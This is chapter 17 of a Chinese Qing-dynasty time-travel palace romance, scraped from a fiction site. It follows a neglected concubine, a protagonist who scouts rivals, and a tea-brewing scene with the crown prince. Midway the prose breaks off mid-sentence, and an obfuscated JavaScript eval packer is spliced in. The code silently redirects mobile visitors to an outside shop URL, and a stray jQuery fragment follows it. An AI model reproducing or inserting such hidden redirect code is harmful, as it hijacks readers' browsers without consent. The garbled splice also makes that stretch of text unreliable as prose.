文趣网 > 其他小说 > 清穿对照组不干了 > 17. 第 17 章
    “格格,时间有些晚了,您要歇下吗?”

    唐轻絮侧坐在窗户边,呆呆地看着侧前方的位置。

    她的屋子和李格格的屋子在一排,她不能直接看到李格格的屋子,但可以看见她屋子里映出来的些微烛光。

    “那边还没歇下。”她喃喃道。

    小宫女无奈道:“格格,太子爷就算离开也不会来咱们这边的。”

    “你说这是为什么呢?”唐轻絮转头看着小宫女,“我什么也没做,太子爷就这么厌弃了我。”

    她只是靠向了李侧福晋,让李侧福晋帮着说几句话而已。

    李侧福晋本就是毓庆宫后院最高位,她这个格格靠向李侧福晋本就是应该的事情。

    “格格言重了。”小宫女安慰道:“太子爷肯定没有厌弃格格。”

    唐轻絮转头,幽怨地继续盯着李格格的屋子。

    “不是厌弃,那为何就是不愿来我这里?”

    “张格格那边,太子爷好像也没去。”小宫女不知道怎么安慰,只能拿另一位格格举例。

    “但张格格有家世,我什么都没有。”唐轻絮眼眶一红,“她甚至得到过,而我什么都没得到。”

    面对自怨自艾的唐轻絮,小宫女也不知如何安慰了,正好这时李格格那边窗户暗了下去,她赶紧提醒,“格格,那边歇下了,您也歇了吧。”

    别在这里难受了,看得她都怪难受的。

    哪知唐轻絮看了一眼窗外,心情更不好了,眼泪顺着脸颊流下,“是我没用,留不下太子爷,也帮不了家里。”

    小宫女欲言又止。

    好在唐轻絮很快又恢复了正常,不过依旧不去睡觉,而是看着烛光发呆。

    等这一截蜡烛烧了一半的时候,唐轻絮叫来小宫女,吩咐道:“你明天去李格格那边打探一下她的喜好。”

    小宫女一愣,“那侧福晋那边?”

    “你不用管,我有我的道理。”唐轻絮瞥了一眼东厢房的位置,心里升起一股埋怨。

    她投靠侧福晋这么长时间,侧福晋也就第一天帮忙说了几句,随后便没了动静。

    都是各取所需,既然侧福晋给不了她想要的,她能给侧福晋的自然也要收回。

    “...奴才明天就去办。”

    锦钰还不知道又有人要来打探她的喜好,她正在进行起床前的大脑零件润滑,齿轮上的锈迹慢慢消失,然后缓缓开始转动。

    齿轮组成功转动,锦钰的大脑也清醒了。

    她下意识地看了一眼床里边,不出意料地没有人,毕竟她和太子的作息实在是不一样。

    然而锦钰看着这床,越看越觉得郁闷,她就不应该对太子抱有希望,他依旧不行。

    锦钰现在还能想起当时的画面,她都将太子给压在床上了,结果下一秒被推开。

    等锦钰回过神来的时候,太子抱着被子缩在里面,活像是在守护自己的贞操,而锦钰就是那个想要用强的人。

    那一刻,锦钰有种这辈子要守活寡的感觉了。

    守活寡倒是没什么,锦钰也不会特别在意这方面,但人对没有体会过的事情就是会抱有执念。

    如果真要守一辈子活寡的话,要不试试‘一枝红杏出墙来’?

    “格格,唐格格那边的宫女过来了。”夏蝉见锦钰醒了,赶紧进屋禀报,“也是来打探消息的。”

    听到这句话,锦钰第一反应是,唐轻絮也要来讨好她?

    下一秒她又想到了刘云霜,应该大概也许不会是来模仿她的吧?

    “那你们说了什么吗?”她问。

    夏蝉想起刘格格那些事情就想笑,也没以前那么在意她们家格格被人学了,笑嘻嘻地说:“奴才说的还是上次告诉彩蝶的那些。”

    锦钰利索起床,一边穿衣一边思索唐轻絮的意图,最后得出结论,应该还是要讨好她。

    唐轻絮可是有前科的,之前就在讨好李清荷,只是没什么用。

    现在看太子在她这边多歇了几天,她就相当于太子面前的另一个红人,再帮唐轻絮说几句,或者提一下,说不定唐轻絮就能达到目的。

    “做得不错。”锦钰表扬道:“如果她送了什么东西,咱也都拿着,不要白不要。”

    “当然,前提是好好检查。”

    夏蝉点头,“格格放心!”

    “不过,如果收了东西,格格您真要帮忙?”夏蝉又开始担忧了。

    锦钰点头,“当然,反正就提一嘴的事。”

    太子不行,还不如推出去换点东西。

    “可是...”

    “没有可是。”锦钰要梳妆了,让夏蝉出去换秋月进来,“相信你家格格的判断。”

    “另外,把秋月叫进来。”

    夏蝉幽怨地看了一眼锦钰,“好吧,奴才这就去。”

    走到门口,夏蝉的表情依旧没变,实在是郁闷啊,她也是为了自家格格好。

    “收起你这幅样子。”

    春花先让秋月进去了,拉着夏蝉到角落里,“格格对咱们好才没那么看重规矩,但咱们可不能在格格面前没大没小。”

    她狠狠地掐了一下夏蝉的脸,“你看看你现在的表情像什么样子?”

    “格格是你能埋怨的人?”

    夏蝉脸色瞬间白了,小声解释道:“不是埋怨。”

    “但你的样子看起来就是。”春花的语气放松了些,但听起来依旧像是训诫。

    “格格上面还有侧福晋,旁的还有刘格格张格格唐格格,咱们不能给格格拖后腿!”

    夏蝉收起表情,慎重地说:“我知道了。”

    时间进入十一月,整个紫禁城都冷了下来,原本轻盈的衣服被替换成厚重的夹袄,屋里也多了些煤炭燃烧的气味。

    围炉煮茶该提上了日程了。

    锦钰特意订做了一个带把手的大肚子陶壶,陶壶外围是一圈又一圈凸起的花纹,从底部一直到顶部,顶部开口,开口侧面圆润的线条转了个弯,形成了一个尖锐的三角。

    浅褐色的奶茶顺着尖角倾泻而下,流入配套的杯子中。

    杯子和陶壶的颜色相同,但杯壁有不同的设计。

    锦钰的专属杯壁外面画着竹子、花以及猫猫头,单看有点幼稚,事实上也确实是她幼稚地想要这么一个具有童趣的杯子。

    为了感谢太子爷在膳房这边对她的支持,锦钰还特意给太子爷也做了一个专属的杯子。

    杯子表面平平无奇,没有任何图案,而亮点在杯子里面。

    奶茶喝到最底下的时候,底部的花纹露出,便是一条盘起来的龙。

    除了这个,锦钰还让人做了一个外表一模一样,但内里图案变成了Q版

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585428|205226||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    胖胖龙,想把自己盘起来却盘不起来,一脸气鼓鼓的那种。

    锦钰的恶趣味还不敢在太子面前表露,所以这个杯子是收起来的,平时并不会拿出来用。

    但总会有发生意外的时候。

    锦钰再一次围炉煮茶,炭火上覆盖着一块薄的石板,陶壶放在边缘的位置,让奶茶在陶壶里保温。

    陶壶的旁边则摆放着橘子、香蕉之类的可以烤的水果,最后则是年糕。

    在宫里待了三个月,锦钰的嘴巴已经进化了,她已经不馋那些菜,转而变为了馋各种小吃,脆皮年糕就是其中一种。

    一般摆摊卖的脆皮年糕要用油煎或者炸,锦钰不缺油水,还觉得有些腻,又正好在烤水果,那就直接烤年糕。

    锦钰准备了两种烤年糕的吃法,一种刷酱,一种撒白糖,简单方便。

    两块年糕还在石板上烤着,在高温下表皮鼓起,锦钰看火候差不多了,拿起筷子夹起来,蘸着白糖就要放进嘴里。

    这时候门口传来了动静,动静还不小。

    不用怀疑,这动静一定是太子。

    这段时间里,锦钰已经将这毓庆宫所有人来的动静都记住了。

    其中动静最大的就是太子,其次是刘格格和张格格,然后是何柱,最后是唐轻絮。

    李清荷还没来过,所以锦钰还不知道她的动静有多大,也就直接排除在外,不参与排名。

    至于唐轻絮...

    锦钰想起来也觉得神奇,唐轻絮第一次来她这里的时候碰见了刘格格,动静也就大了些,前段时间又来了一次,正好春花几个都在屋里,外面没人守着。

    锦钰当时在和他们说一些安排,想着就一会儿的时间,没什么关系,结果唐轻絮就这么悄悄走了进来。

    屋里陡然多了个人,锦钰几个竟然都没发现,然后在她让春花几个离开的时候,几人一转身,皆被吓得尖叫起来,叫得锦钰耳朵差点聋了。

    这事就挺让人一言难尽的,外面没人守着她问都不问就这么进屋了,还一句话都不说,就这么看着。

    没有边界感,也不太礼貌。

    也因此,面对那次的真讨好,锦钰没接受,还直接开口让唐轻絮回去了。

    若不是想着大家还要一起相处几十年,她真想连骂带推地赶唐轻絮走。

    思绪回来,锦钰可惜地看了一眼她刚烤好的年糕,起身迎接这个闹出最大动静的太子。

    也不知道回来的时候年糕还好吃吗?

    年糕就是要趁热吃啊!

    “你这是?”

    胤礽一进屋就看到了屋子中间那个显眼的煤炉以及上面摆着的陶壶,他走近了几步,好奇地问。

    锦钰简单介绍了一下,顺便让夏蝉将她给胤礽准备的杯子拿过来。

    “你倒是会享受。”

    胤礽也在炉子边坐了下来,炉子的热意传递过来,一起的还有橘子皮的清香。

    闻惯了平时点的香薰,此时闻到这属于水果的自然香气,胤礽还有些恍惚,仿佛整个空间都宽阔了一些。

    见胤礽坐下,锦钰也跟上,赶紧将自己的年糕吃了。

    幸好,还是热乎的。

    这动静有点大,胤礽从恍惚中回过神来,一眼就看见了锦钰那还在咀嚼的腮帮子。

    他扯了扯嘴角,刻板印象又加重了。